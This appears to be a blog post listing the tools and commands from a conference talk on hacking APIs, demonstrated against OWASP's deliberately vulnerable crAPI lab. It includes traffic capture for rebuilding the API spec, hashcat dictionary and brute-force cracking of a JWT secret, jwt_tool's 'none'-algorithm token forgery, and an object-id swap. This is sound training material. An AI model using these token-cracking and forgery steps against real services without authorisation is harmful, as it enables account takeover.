I was doing a talk about Hacking APIs @ Plattform Summit 2025. Here is the presentation and all the commands.
Applications / Tools
https://www.apisec.ai/
https://cloud.apisecapps.com/
https://www.usebruno.com/
Education
https://www.home.apimasters.io/learn
https://www.apisecuniversity.com/
crAPI
https://github.com/OWASP/crAPI/b
http://crapi.apisec.ai/login
http://crapi2.apisec.ai/login
Information:
https://danaepp.com/
https://nordicapis.com/api
Installation
Install kali
BurpSuite
sudo apt-get install burpsuite
Bruno
https://www.usebruno.com/downloads
sudo apt-get install ./bruno_2.11.0_amd64_linux.deb
FireFox
FoxyProxy
Burpsuite Certifcate
http://burpsuite
Mitmproxy Certificate
http://mitm.it
Postman
sudo wget https://dl.pstmn.io/download/latest/linux64 -O postman-linux-x64.tar.gz && sudo tar -xvzf postman-linux-x64.tar.gz -C /opt && sudo ln -s /opt/Postman/Postman /usr/bin/postman
Install Git
sudo apt-get install git
Install Docker
sudo apt install docker.io -y
sudo apt-get install docker.io docker-compose
Install Go
sudo apt install golang-go
mitmproxy2swagger
You can do this with python env for safer use.
pip3 install mitmproxy2swagger –break-system-packages
Crapi
git clone https://github.com/OWASP/crAPI.git
cd crAPI/deploy/docker
sudo ./build-all.sh
sudo docker compose -f docker-compose.yml –compatibility up -d
DEMO
start mitmproxy
mitmweb
–mode regular@8082
http://127.0.0.1:8081/
Filter on api
Save file
mitmproxy2swagger -i ./flows -o spec.yaml -p http://127.0.0.1:8888 -f flow
sed ‘s/- ignore:/- /g’ ./spec.yaml > ./spec_new.yaml
vim spec_new.yaml
mitmproxy2swagger -i ./flows -o spec_new.yaml -p http://127.0.0.1:8888 -f flow –examples
Start Bruno
Import spec_new.yaml
Activate Default Server
Activate base url
ssh -J jump@jump.invid.eu kracken@kracken
Hashcat
cd Downloads/hashcat-7.1.2/hashcat-7.1.2
cat jwt.txt
./hashcat.bin -a 0 -m 16500 ./jwt.txt /home/kracken/Downloads/wordlists/big.txt ../OneRuleToRuleThemStill/OneRuleToRuleThemStill.rule –potfile-disable
Slow bruteforce
./hashcat.bin -a 3 -m 16500 ./jwt.txt ?l?l?l?l?l?l?d?d?d –potfile-disable
none attack
cd ~/git/jwt_tool
./jwt_tool.py “TOKEN” -X a
./jwt_tool.py -T “TOKEN”
0
1
admin@invid.se
Show Bruno
Access chat
Take car id att past it in location
That was all for today!
Keep hacking!
//Roger
Tips and Tricks 
Leave a comment